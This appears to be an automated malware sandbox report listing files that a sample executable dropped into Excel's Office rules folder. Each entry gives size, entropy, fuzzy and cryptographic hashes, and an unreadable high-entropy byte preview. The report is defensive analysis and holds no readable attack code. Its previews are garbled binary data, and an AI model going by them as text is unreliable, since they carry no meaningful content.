SSDEEP:	24:ipDyak4sbxH03x38zfqTBLabeX+pgd89tIr2gZs/sSbD:ipTk4sbpjbK9KyxZwsAD
MD5:	79ACC86650BD144A4F569E73E34A9CDE
SHA1:	A78F8FA0B5E8BBBD400C50D62718378141FD965E
SHA-256:	85DAE065CDCB46438EE22030988ECE2516263F4FDB378224F829C55405DA000D
SHA-512:	13B15AF47F94B5274F1B4BF48FA82F182C9A9DD29E79270F5C7CE1A310418B5BCA72FEA5FD48057B6406DAB874AD737AC59DC428D300F4C508FEEDBD1D5C969E
Malicious:	false
Preview:	<?xml....}fE.......H...S..+u.z..s. z..R..s=\|S<..t@..._Z.T....]F..p^u.P..4......e..U,#E..!S..j!{r......b...Sf(.K..:.M..1.H0...e.KGk.. ./P....Y.....M.)!...&w.!.{.'...Y...f(...U;9"..........5..@...)-..d'.o.?..GDn@7..\.D..?.SP.i..7..c!/.Q../...,.T3...^Q....5Z...z...PV....1..#$... .:Z.."w.e(..e[A:Y}?.d.x..: V......,.T3..7O<=....Zr....q/..)...Y<.#.o.3.5af,....NT..h..W.......`RWT%.G.mO....{....~..IwE..1..+tYX.&z.q3.!...m.ie.5Y.uM .).U..W)\..B.)m...Q.B..b..(....%#.%.lS.....\|..=.....6N.n.1...8".w....n..H..S.......t..d.&.....7....g.k..N8u...%.b...7u..~...i.au(......&(dm..(.r...]V...=gp..;..N.9E...`s..Mo..<9...3......`..0G.^.ul]....x..........+......r..l_Z...0t......n.U..jB.:b0.o..7..m?.B.0.0...v.=.)...B.I..[.-K.q.Tf..\u..n...A.o..Qu.c.Fv.S.-&.g.u....,.....d..4....<.....n.\..Zn..G+(u.Y.S."g.....z.K.x}...8..E.../....\|.?....,.....w...n:....d!V.iw.r"....]K..1.fc`.....7....n..;...D..vE..;._....N....=N.U........FK.@......h.....O..Q.$.a..h....X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324004v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.7932021578311
Encrypted:	false
SSDEEP:	12:VSfsoL4400Y3Rl9Wv3ZNy3miHisOZTdx5MVoyciao5NqMi1PS5DuNR4PdOg484HV:wUohrY31Mb5hMVoyciapqtuNMttsbD
MD5:	300B78B73AC002111D710539793B7FAF
SHA1:	AF3091EC9600D574E84AB1C3DE2C27090256B1F5
SHA-256:	05947A82E014178D84C372EFBABA7C15B1FE9D0D1FCE61BED7EC3978A7EFE032
SHA-512:	11AEDDE9777092F2523B609FF146AD8DA9DCDDD8E39666545A124CB096B5E3B2D5E1591F3C4E2D41B1745F76538F93EFCDAE5FB2D695BF2DE772278261A5C61A
Malicious:	false
Preview:	<?xml..O+._.}....U+..:...y..w..)8../...........[t-r.h.Z..EN{.D.q./`Q...-.....}.P.i..s.........6.hu.Y}...I....)...H...u.,.... {.i...Q.)....$(k]......j........8.;..p.\{......).yY.i!>....Z.C[0...#.%.A......yYV._.pY%j.m..x......!a......j/....r..e.a..h.a..._m......^.]....=...D?...1l....Y.Sza.2...Y^.T'...Ym.s:.p..L.DTK.d....y./5...k..<..D.5.L..f.!d.Ad.)......il...0+.#..g..~.\|LA.x.L^...B....N /7.L2.~.>.#...Io...xmq#t....&....q7.5.E....`..._..n7..At..{....u..I.......r..70Y...R...KKtR..n.\..=]..tX.....s5NI.:f.Y ,....."4Yg......Z1."...,.$...:}<.......L...3....YEA..>gS..........N...g.B.B..?..k.^.._.a...H.e..!.."r....-d..r..2....A..i"%....g7)J.`7a.5t.7..$r...:..k.l.w......Lm5{..Q...%74b...a_..J..t...pt....h.)J......\|YK.tD..GJ....R....1.K.........d..[....E.Bn..+.;.v.-.f....-...gn&d.Ona.Pq.H..o..z.Z..G@.{.... .W_.......7.+e3.kd.p..0_..Z.U;Rb^...b...O5.PTk4..'........'6.j...LV..<..C......s..c..:.....n^@M..5w...=..g.PI..<.]P........e.e<.....j.a.a.@NSLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324005v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.798493200840194
Encrypted:	false
SSDEEP:	24:NKiTwpaF0up+ipoz9+SjGDX8tth+KaRb0SbD:UiBpcim0SGDyXAb0AD
MD5:	E018791F9D682CB1BEA1653D8F9A2323
SHA1:	B4C6510AC51EFF64C39FC5CB546A05E608437C60
SHA-256:	731E5A8FC7B44A12CE797522E2174BFEB88D9A1586F56AD9D2E0D8BE67593710
SHA-512:	438DE8C56E1BB7473172EDD3386206BE0E07196B5104E32B966C0C4258F04A54BA9A40A08888B4F4165E34D613E591C84D51CA8CDEFC97E3E0F4CDD9C1BAA8D8
Malicious:	false
Preview:	<?xml..=.dV.Z"\|.>X:05...e...C..`.....8`..3!.$.#..p.5.{.).;.U..#. .G.>O..8..a.#.[..\...lC.Y......F.....tGo2...9:.P....S.]B.R\|..q...S3L...=.<j.._A.i..tM.]}"=a.w,.2.F}3.c#...J0..X,C...9N&....s>...m.O<G..Y.....~..(..~..xH..Sg.mGo..~..M.%f.7..'......_1...@.;.2N.@fR.I....QA'........\|bb.5.E.X../.......h......daA.-.........\.$..5`.#+....m..!.~..W.k..\..vc.@rc...D...#q.........!......O.G.z.....nt{..e.........:....=..._....E.xT,.>E.."../).2..R.P.@......[^$ax..e.~P........(...m)Q...>.n..@...Jz...m.....5..l..;7....Z<:...$.QLe....q.C..8.GU...a....p..../^.HBW.]..a...8.vH..=..`..,^`n9.aHt.9.\tV.$...$........7W..BS.;.....{.`..x.....t.\GJ2..c.....I..D....9<gyf.....`.$......=........3`.....25....V.\:X[).^.k... o3...9.]Ht..7U...b.@.[6...........L.tD.............%....l.u..C.F...2O.Z..\..<..4.@.au....1NVMI..^.~1SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.777667811688328
Encrypted:	false
SSDEEP:	24:jxe9Uiu1Gwx84QyqTYsBtsc2E8ZydqdzbD:te+lGKy2sBhCydqdnD
MD5:	E8163F93F434B05C9D5BAE4C8E5FFAD8
SHA1:	65A8B299A553CCF4E2B235C7D5BB0B9FA46F7ACE
SHA-256:	2EEF3063B99112999294009CFC21A0EB1F4B4202C727FC0873D66C407B9CA555
SHA-512:	C159E542DD6C0C601FD3D6E4FA92F68B5E99B8A128F88850BDDB98D75119E75BCB540DFF682CE24BC567A422127274F04213479D636186932476C84EA6A90781
Malicious:	false
Preview:	<?xml..KDn..s......n...B.V.;X.o.<+.Ug..p.iTR..SK..R.7.nd;.P..I6yO.KZ..y.}.1?..Q.1m...,..0......_/.\#J.&.../6.`..V.....$..4r.........B.LQ2...`...p.Z..........gnT$.>n.-\.H.dx.&oV$O.U0..8....y.......F(....(.vt....bl.\|5;...n_F...z..Y........U}.1....v...la.....Iow...T.e...s/dw..h.^....a..V.M.^.,o.,-'q....T..,...o..O..2...~..%y./.U...Hi.g...3Tv.r..w.r....p..`...(..j..8R.o....._.._m....wf.J......C......Iy...0.._...gPP.<......hI......d....y....{..........6k....,BN......b.c..6.<..Yw.%:sqq.....J..:.6.`..@.C....5.1.>......d9\.....hsJ....~xq....yz "V....d&.})v..E...d.!..4oHOV...MKS...Ur..h....V...........+...O...$..<.A}S.....&.@?.R..=_>M.$0...Q.....d... .kq.;..GY.....s#d....{.H-i.Z.p...xUjy.kO.9..>....w0...a..+.......w.%..n1.[...?%..x.^?}9..E...Yo#.X...W.3....".t[........G...I....F..hG...*..j.-.\|...g~.[.y..=;.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.800864001990632
Encrypted:	false
SSDEEP:	24:gPNLHLJfSCdB30d+P+s/kbIPgyPvDEgMN3fLaAbD:gxHLBSY0gpMbAMN3j3D
MD5:	0A156D212F8B469DBF6DFEDF03AE16EC
SHA1:	FB90DA40F9F8373C1B37006D272F6C06E51665D4
SHA-256:	210C01BF2039B0FBB650E0AD0F08A958AD717C9913D9E268DC6382FC0DCFE856
SHA-512:	AD813E61F0CBFE5207AA9789D1BB3F1DF47058FF67978838882147F4FEFB648067A5125A1FE898EF85819466449B1EF52DDD0EBC1B6DACF5AD4C8DE3EB664524
Malicious:	false
Preview:	<?xml.&.\|....{x...I.>.s..._.B2....0y..U........x...S..auNJx...I.V.]......C.HP.0.:.hD.......7...@.hn..... ..F...y.Vnl..l...E)......E..G..X.@.K"....VU...3.......!=..B.....(...v.:Q.[.rgZ.0ue..8R_.P.Q3 K3C..a.$tMg.9.2].."..<...(.x.K.Q."I6....;....p.h.#..M...v.F.H.s.J.....g.}F...8..`n=Fd.]...&.:...c.#.g...C..Zty\|.....v..\..m>.......O.T......Z...Z._.....(..........F$6..l!W.~..#..9.l.^LSR..:&I.....ub...yW../.........]..[......S....5O.q^.<_......,..%...?...... (S..E(/.M.~.....xA. .+.,.\|.b..B.a{..s.T".0...,!......P6g.....c...N2....Yv.:....9.B..[U..G4....;)..?.\..nP.....f. -#...&fX.".4.{i..^....\|\|}..=..."7......e.Rx-...~<j.B..m.......C......3.GGO...C./...e<.k...Y#.#....g...[.1.. =.AI.....H.X......d.e.......K........w....w.h./Op".E...,.+.zR...HvXPe.-.E...^.Qp.. ...).Yei.f.8..{Z...M...^.j..B...k............., W..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.798520470180761
Encrypted:	false
SSDEEP:	12:nXdfRszmb3TisqPmjXEIac0bXFn2boGr4q+s6c2mTjhQuHcnjJk/tN0KFyO9vrTe:nXd5eOisXh0Fkr4g4m+5WQMBz50dSObD
MD5:	E6D3EE236340954E985FC426DFF58028
SHA1:	9F3AE85D4FFD76629FC3368415A490A2C8C4001C
SHA-256:	4B0C2BA811FD64F6C05A8EB2E1A9B92DAC8D678027658EBD490E716A433814E2
SHA-512:	581E56150A0B692C1ABD87C28ED9089896FE3B8FD15CAF6129FFDC430FA5678C828CC9B2B92E8D674E9152B63D3BC808B552BC5CE81C14C1E9A6BB1A34166FB4
Malicious:	false
Preview:	<?xml.#.?9n..R._dt...}.B..5.+..#f.R.z...%k..E.....%gXCS.X.....;.........D.no...Zg..-..vp...V;y-.:.rY>..+..p.`.F<...e...?_..g.?.(.K^.m...d;2.g.+....r..).D.\x.......i......h..i3/..h.....se...\.<&\|L.C....j.."...9...xKjw&H.~...._9(.g.....1.(h<F=...H.0,....6.....yk.....j3.M.z.i.AR9..m...h#..j..B...e....[. \|.d...T.&.u..@....'..].m.....^+.W.Mz.Dt-.....x....s.n.&..F........=$.0/.C.0J...S......7p.'.....k.B....`Y..B"\._l.Y...6.#.<.A..g$.$.a.<d..~&.E Iq`.....]......t.]L......p......7.I.....'.9./..... ...g.V+0t./.......X.[.-...E....W.sz4..Z.:....U3..-X.P..Y.s...X]...M...$D.fpX....X.....w..}M.-.........VD% B..Yf.....6.x\p.......6...\....w8.Re+?...Z..<..O.@..q..e......tf\.3Aop_........s`aS...., ......H<..y<..Y.Q...X...P..Q....!O...tdW.x..^............k.......V.hE.....5d.{..Q....z.p...Q.RGB...6..N..~b..........Gf..ol..)..bSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.789731639763769
Encrypted:	false
SSDEEP:	24:qddy/h7M/uNkZzn2vv/hKhPa3gJOmZoUCd1Yx0AvPNkbD:qddXuNkZznI8hPawJOmUr64D
MD5:	20C3C53EE1130E869E0E9255EAA918C3
SHA1:	E861B63CC64A68C489169C053F7BD255AA0E98DE
SHA-256:	4E18902DE7778D167FDD29BEA33DCBEA11202EFB196D487A2590DC7A58151A9C
SHA-512:	446A06DDB0592AB6B0FEE3C4417CB07F9987216096D57B47A2D4BBFC39D7257C7B79EA5422A3EB201B4EEAC711D108BE4DD382A876BAE804EBD4BD97346F6294
Malicious:	false
Preview:	<?xml..........i.".../.J..".MtE.<..p..$w(JX.5...."..,.wB.Jw..=......9Y.\..,:.&4ew.`\|q...!....4...U0......h...J!...E>...e0..h..Gq.T...(....49...5...:;.sF.o...H...^..\.so...>...+.<46n.L6.Y_..C....L...?.t.I.W...".)......k.c.....w;5.2.TG.M'../...+.D0..1K.v?,..K.l...........k.x.....b\.W.,.0{..f..zV..A.$.G..B..p.....8k.(1...dw_.c.....N.!......I.WZ"Sb..i.eR].B.C@(>.....B.f..Y.{{.(F..#k..#..=...\|Z..!p.=_...7}c...5.2.b..#..u....h....!...N.X.z..."%..C.)F..{-3.7.U.UyYE<.Mt1...4...^MO.2y......no......R..T.....s....d....bL......{...6......,.......2....-...M..$gs...f&p.. +. p..+aN.....d.!.,...........$..(Y(!.S..h0..2.nE.ZI.H.. {.z.s..........;i.p.........._.t..I1.u......W...~.1@3.ao.r..r....B..!#;.Ae.i..w...^.3.1.."i.t..K...?..?.WB..'..o.WO...M.(.B......>...X..U...F{..N.4.w..B.?.6.*;0...Jy.e....1f.G.......Ppq.{.D...@.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.773814498763568
Encrypted:	false
SSDEEP:	24:DcC6IyCYo7NKNAREvctHde+W2TYpm7CR1qqKoR4H8uUstFbD:w9jFopKiTtHdvTCR13KCZWD
MD5:	745BB3B26FBD4E1CAD68330F05594685
SHA1:	81F8AB6B48F1F65F102B32E4634FCF1EC13312C4
SHA-256:	765C30B4E27FF916F4725AE34E0F75F11284ABF911FDB19D953040063E61BD4E
SHA-512:	52B9DDCAD09400DDF2A3CFAA56D460BDEDB3F072B7A451E407045DB07E90E7C8ACD8D7DEB5E8878C2248256F435B65DE24DA750BEC1C7682A3108FD74EC2C00C
Malicious:	false
Preview:	<?xml!{$...>.R.N..6@..kK(=4.b..>H.Q..,..?./.P....Q;..tpv.=.DY..._....J.T.&\<^.`A....w..j.H..c...@`O.A..Hp6.......sn.u...w..fh"..h..4...6....1...+ .h.^..B...PQ...';..X..M.`....2..@...D....e....xd..).....h..>G......5.q...pT...4/....2.g..c..C`.._.d.Vx.m...R.?:T..y.=C`@.g.R#.Pm1"..'.9...WD...w.'..dI..B~.a.P,.a.NYV5..c...[...5.0......LAg..Y.o..A.....C"G......8.....{..O...`...h7$....'m.q...H..T.t..d6.E..........X.CT.....J.....,i.....1..J.r....R..#....1"..i..c-3..w....3a..f9O...............}..kS.....d..(.;..PT....J.C.X[n5.Q.P......7*.>........N+..:......>.....E.....J....[..m#./.....B..0.....e..,....~......>.Ps.. ...f4.!..'..# ..<=.r.^..........A..O.Bd+nZ....pu<.A....N7+'.2.G.88.jcc`.a.k/.."..k-..7l......>...s.....4nA.]_W!Xs..9,..l............+..b.."_6..s.....~...T.../".@.D}.....e.f.n...f&cMX....0O<6.:{..Vj......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.79806637803813
Encrypted:	false
SSDEEP:	24:DR8O1IbdUE2NjOOULSMKBbVqOu3Nmv0/Hlco7bD:DRAdUvdULSzJL0/Hlc6D
MD5:	586C7C59FA33F22270AB7A0E099F3B6E
SHA1:	2685F2D581B3E78AF557DD0190F8474063C39ABE
SHA-256:	32868F49CF21FE2C21E06DD35DA9A670D7F0B861C8BBB7BFDF6A0853614B2771
SHA-512:	709524772B1A88F1272058D11E6175EF101BD832923E75527119D41A80B761F4F04E36A02B961B8B5CB740DF22ACB17EB78B3D1CE22EEA1CBD70D5C13349541D
Malicious:	false
Preview:	<?xml......3.A. ...67..[....nWp.s.1.AUF?N.x.^O.wNW..f..n....@0..aj,..o.....JlD.....Y..j4..Y..t.?...)2.8..X.'Z..2E...PDM...N..NG..v....wYpS.Vd....G..NG.\..........K......;D.LO......4...2.._?...A...=.b."d3T.PEu.....$.bm......[..I.T.Qt..B.......y..f:.yq.....D.....~....V..".BJ.7..A...\|..................N...8W^.`...K.........!.(.V..rZT.-...\l...S..........._.0..p.m.#.j....m.......,.@..3.....Q..d..&'5/..S.'5F....(s."..l....c...`.....g..m]0...If5.1......oRP.`+.).{}..JdI.S.-.$.L.H..5...XE/."H..tJ.2...Fv..x..;d..uD/..&.=....By).v.Kz....t....@/.....z......F.%....l.,P..#..z..zt.by.;....!.L_..\s..G..#...p>o.......8%g.....S.c..Fc..U.j....5W!.F.:.g0!.b..@.D..>.n.....i.e2w.cE...........e)4I..s.F.....w........,.5..Om.).h..1X....e...rD..S..%.. A]..\..]3>..'...X...>ZP...b.5....r..Sf./.....w...K5.E.wHI.?M%LG((...$.p/.[j.?..........M..m...*..'...Jl...F.ty1 l.jP3Q.......t5.....n:@.b\|.r....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.867298049868476
Encrypted:	false
SSDEEP:	24:r0deqSTnNmcUK0M2deQavJ8neO3LMbiLGOHB4lrS0WkcgDv8oni55AM+lbD:YdSTNmGSe/iLXHGleUcgDu5O1D
MD5:	BEF7C4458947FE1D48CFD5AA36E65EE3
SHA1:	5DAD5227C41AFDB6B8C03F0E6B99989DCC6D3BFF
SHA-256:	57D25FD9D1720DF2BF5243787E1C93C96862A7C947671911DF8177C7ED01B8A4
SHA-512:	683268B8C3B6C868DB97C1D8C7616368C0D43CBBE86077F6DFA44059E70AE7F2907987A8BBE786BC70BECA8F18BA0166B7F87C7EBB50E4DBF544E90A978E5964
Malicious:	false
Preview:	<?xmlaM.E...Y?)b...Q?.H.^T.V..\.T?.";......2....r...U..q.......]_.Y...g....$Ky...#.J...x.D....>..H.Ngz.j ..af.&w.......Wo........E..l.\..o;T[.......!.}..~........ gqe..P...E..S.....x...$..k.0.Z0$=f...........G)....V.O[.-...)..N........1.;\|iL.".......L.^.d.[5..2.hM...Rk.V.7....w.R"`......K...w0>........\|`_u(c<g~..$...b-....$.S.ND.H.{Y...W.v.fm^.9.^e...z _.<\|O>..p.K_...y..w.....V.....C-.;.....P.Z......g..Lvt.x1V.2.%.Q........6.[\|Q I..v{.......d..c..E.....?uz..`........;.h..h.:p...N..o`&'y.a....c.\|Z.VP..b_..tm.Z\|.....\..3....2.d....SB..K...."Vk.....<AqB:..z.5L..l.YR.D'.Ie.S...iX....DJ.{.eG5+g..]"..dd...\|.>....~x................>T..nT.?..u.t.I.G..H.....;^..Y."UOA...R.....k~..q...F..mGR...yn.C..:..Rn.....3N..PA.;.B....B.!....Vn..]^I.........Y...7.s\......#.B.{.....`@.#..m.$...(...K..I...6w. z=b2.g..oY...gQ[},.k...........[W..o..\|6v...Q9..v.....xg..!..;0.W..\..`.x........L..!kVXL..O...7.....9...j..z...W%..V.iR.).(....A.....H.~.H+j(..{.^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.849540923845058
Encrypted:	false
SSDEEP:	24:tAcQb0fUGxKYf/kFqc13rrLx68nUKYwvzd83pyO7VJPVumfXuC2IXlEjfOjHJbD:tAVb0ffxKYXjA3rrLfUbcODPV3uChEje
MD5:	724383C138D50E98CBA005617E0998CF
SHA1:	D23E3B3E999083275A035AB695E03EEEC6D0DA8D
SHA-256:	8E7B572C8FBD862B182013B56A371EF1138057E77657ED26C0983DA90D8ECFCC
SHA-512:	D543EFE196C2C18ED40F8DF68D6FFF38B964D462A5B030BADB087AB0E3E4A4EF26329BD0F8E2A8273834BB5D5B51E4CD2071115B62D42C9A74966F16032A487B
Malicious:	false
Preview:	<?xml[o1...$...$g. ..8.=z..B.B....N.t.....5G{l._..'F......+c..L....Wa..fx..Y..a..-..EM..zJa.Y$.].q.F.......#.#.D...2...9.......0.....\|.....]g.y...Y..a.......4..$`.[F4......Q9404Qj.....0...q....D.....^...,.H..7.@ .J~....!..n...3G.K@.Lx.[..`n...+/?..A.s..S~..-B1b..l......r..ga.ufy....#._..=.y.=nJ....m..d].kp@..e..............fu....U2..,..A..PB.W.51.....eN...AO...3c....r-.......TA..-J>.K....Q...NV..(..-Y.B.\|...@.~%..7.&\|.b...._4.R`.`...{V.....\..4.z..D).v.......+t.}.~5...T........z....\|.;...<Q..r.rR.....un...&....^0. ..C.H...I....2......."..U......%].X.:.S...$$.d..4i.."6......R..C0[.J..L.?..k...>...e.=...&..7{B.:.......^...3.;..{....._J......%.z.A.b.....6.C.d..`.K...!;Ql..........p..........~K..9/...u.!...D.'..o7.K..W#.........N&#.yc......$.F3U..{.5..0.=.....9.o.Rfy....E.....D.4...}yRW...I.^...q.i.i.Ry..:.7....!J.M..7Co..>q....~....]...No.....^.s..d...\|.Eu~v..K..]..E...5.......3....K.YS.W.'z....G.DS<.,......eY4...!.u.q..N.k.yhD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.820310316695024
Encrypted:	false
SSDEEP:	24:uAKLsuAiXk/Dfhlx0X/vTL8E7OxJSqbyp04jRKmQCbD:uAKQuLXkLve3TD7OLSBp04rQQD
MD5:	253022D08B5BCDD72F90C10B27126F60
SHA1:	73670276B95AE05AE5C0AF30227D93D15B084AE7
SHA-256:	08F2660C9EA2EFC1F7CB2EAB05248CECA2A09BFBC316F3B9EFA4E671593F5968
SHA-512:	291D76A926E46B961B8CDC8F6A5C156C62CDE8E90A6C1C4015959506E1C427EB099AFC661F04D52D155154FE53ECFD3439A7D7D3E333125C757FD1232AE0CB81
Malicious:	false
Preview:	<?xml.n...q...Y..N...S...Z2{M..Y...m..xx..y<.,^....../.i.s...\|............u)4]i..B.O.=<A...3l......+j9Q...'........(.S@9.,Y]....ZZ...Z.k......W./S.:{.:b\...Dn...f.q.Z..../55SY.......9.......-.....n.U.............m.,....m..g.q\..1.O...T...d.@0.=..XH6p=.]...a..f.^q.....$...a.~.c...-g..kF...].w\|..r.G...Q.jQ...u..h...5.W..R..I.$..;.dV.C.....).......P(k.GZa..O.j....d.....b..h...J3~.)q....;...QB=....^T.......c/. ..............Q.x).Y..I....:...d....M..S@..<.Z...p.....Ta..`> ..b..........;..<...6....".7.)%.x>X1.....8o....dI@..6.!.q..8=.&.ezda.UQ!..uY.;.d7..F.............e]U.......z.(...L.[.c..F......p\r.k.w..&q.....k......((f^3....(7a.nw....L....[.O...F..N:Z..L...;.az.~.;O.....O.&..._uQ..bN`.A.T.T..K._..1...w....p.G.D.H@....<a.xS.(@.^lA....1..sdo..yK.]yz.m.....{e.$...WC.s....I........H..#e5.#.P....c....u.....:.../].....k......... .v.&J....eb.&Tb..!5..2.b..t{........D...k...(...C......\|.6.(...Q.Z...D.SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.823819274864618
Encrypted:	false
SSDEEP:	24:298bu49MvyYGuCeHA6ekpG0nDxHxfgtboY9Lr+tGWHbD:28uCYGuCCA6ntHfgtbRL6tD7D
MD5:	2811C781EF2805A968AB0FD6D9A58098
SHA1:	765B8494D2B5CA6F39F75D79AF902F837DA86E97
SHA-256:	30A63B46247412D915CB72C4F1EA68F024C3A9AE63C4EE7E378183C91636CF66
SHA-512:	012FF24CBFB01BD236FC7AC1E131EC305FCE8B896F090B57ABE153F53E527B01608F548CE34B4F76837811246C9D651AD2BA9163CBBA0C8B6D6339EB65E75009
Malicious:	false
Preview:	<?xmlz.q.P.Q....>B..+...J'...I.....>...'..n.:.... ~....Qe6.....\|\|.Z.$...FT..B.Vgy..d.8.^Sx.X0.D..(....0d.B.$.....7.i.F..B..o..........<Be.L.rj...}....Y.>p......5..h-..)....^.,^n..y...)..F.........$M.r"..O..c...0.x._?...C@........G~.....u.h..vI......:t.r...M.R.V...."..KO....4d:.0.........JG..%>S..a....9.G...nY!..............e......n,...\|.VP.j.m...l....x?h....GX...bo..^T..@.....~BC'A...q..A....'...8.....#.o... .M...7,.Z....$.f~....A'../NV...nz.<;.;.{..A^lVe.....,.'..p..0...R .VU...._...k>".)./... .....`..........}B.s$..b...z.....\|[.:k.O.5.~.......X..C..a..0....,...x%.(.^.`...-..X~...`d...F..._..u.m.t.....P...>..{..h.......eB?..o...=....N....W.....Xi.t..>.V.p..J..u....spb.....-...x.+.E.,}+5.~t.[U\hD'..u.Q2....f.H.4..o../.y.^.C...+...5..69..%`....'..7I..=.s....0..}..&:M.......TnIL..}....,M.3^.n"L<......{C.oVb!.tK.Uv...5...]g...6S...agOd.T...H...Z..SS...rnW...A.....O....c..Qi.c1..nUT.}..M!-..d:x.7..<CFB.^=.......4Z.j.pY.Pa.<[...Y,.'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.9777608488172955
Encrypted:	false
SSDEEP:	192:m3bQlSYNh2q7vJfBr7G1488eabNgW0nlBTSYaQ6pMg0oAQWOxks/F8Hp:m3vYn2wr1rEnlBTSYPeX0oAQtN8J
MD5:	EB0F1B7FE9A83550A9C297DB96751ECE
SHA1:	97850F8A6D7974BD72E6A2E9AC263BAC8EE1EF78
SHA-256:	ACE2AB7BE281B55F0C6EE66D90C5020B15554CC53BE7A2649A17543653CBF61A
SHA-512:	8E0400C2F42842A783EF6D512FBB34344BCD99D0648D63CB36E5A70CFF3E90789EA0664F215640F009325841C8F72DF9743579D51715CECAB74B695788D5658C
Malicious:	false
Preview:	<?xml..\:......./....Gl..v.........'Y....../......9...0.^..iB..\|#..6^.P..........!9,`...\.A.k_\.1..;.\.x7.$..b%..,.g...p...C._~..pCN..\v..#...q49....+.....].....&..Jmz.7y.5.X%..j.mLy{>.,..i..d.P.W.^5..V$.B.:.[..P..E...,./..(...)0e..(.u.^g...w....o&..l.L..pi'277...........-/........R...T.?u..V...L..#T.f..%...7j..T..ADG.(r..&]yA55..[..N..^jgr...n.:...........J.p...}..~\|.-....:.p.p.ys$..p..%B. <..=.P,Q.@.Lp.......}^.....[k....u.R....?.&..0;......B5#?[.Z..x!.'x....h......m/.Y.-.b.....`... .-2.#.4!...~&.a.c.\..L.OW...lQ..r.m-.&.OF...&...2.._.x...,.N^.F.C.....}j\..s.w..8.x.b^.w3#...w....[.(..W...u.N.I..z`-b.0#;...s..Q...)M`\...t...k..2.p. q......_..!...W./".......f.T.f(.A....A.k....?.`w.....3.)...9.9.zMj._W...D....b..,\|.0..9..Q.)I^l:...i.+>.k'..W.......=9....].-......;z.p .?...{}&J..........U.dOF.\u....pY.mk-..j.4G...O..O.....z.H.....,.q...k.'..~xq..i....M.s.o^IM..T......^*.74....;;.......-c.{..y............[NZ%W.....o..D...z.........X5....."<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.917692361492641
Encrypted:	false
SSDEEP:	48:js3HzJVg4NKDEF/sZlo9iWBt3xu+L0pD6uHbO84KmQQkPsSfUnMBqWOm62CXD:js3TnKoFEg9iWb3mpRb2KmQLPsSfBpOL
MD5:	76F9D4050AD2F57FC32BD0A90E44CDB7
SHA1:	25E836A85ED96E379D513E3F852B8584041E8F85
SHA-256:	7B567D45BC3297655E229176887683242BF5FB9176E1ED35F073A7D0C4C0D9CB
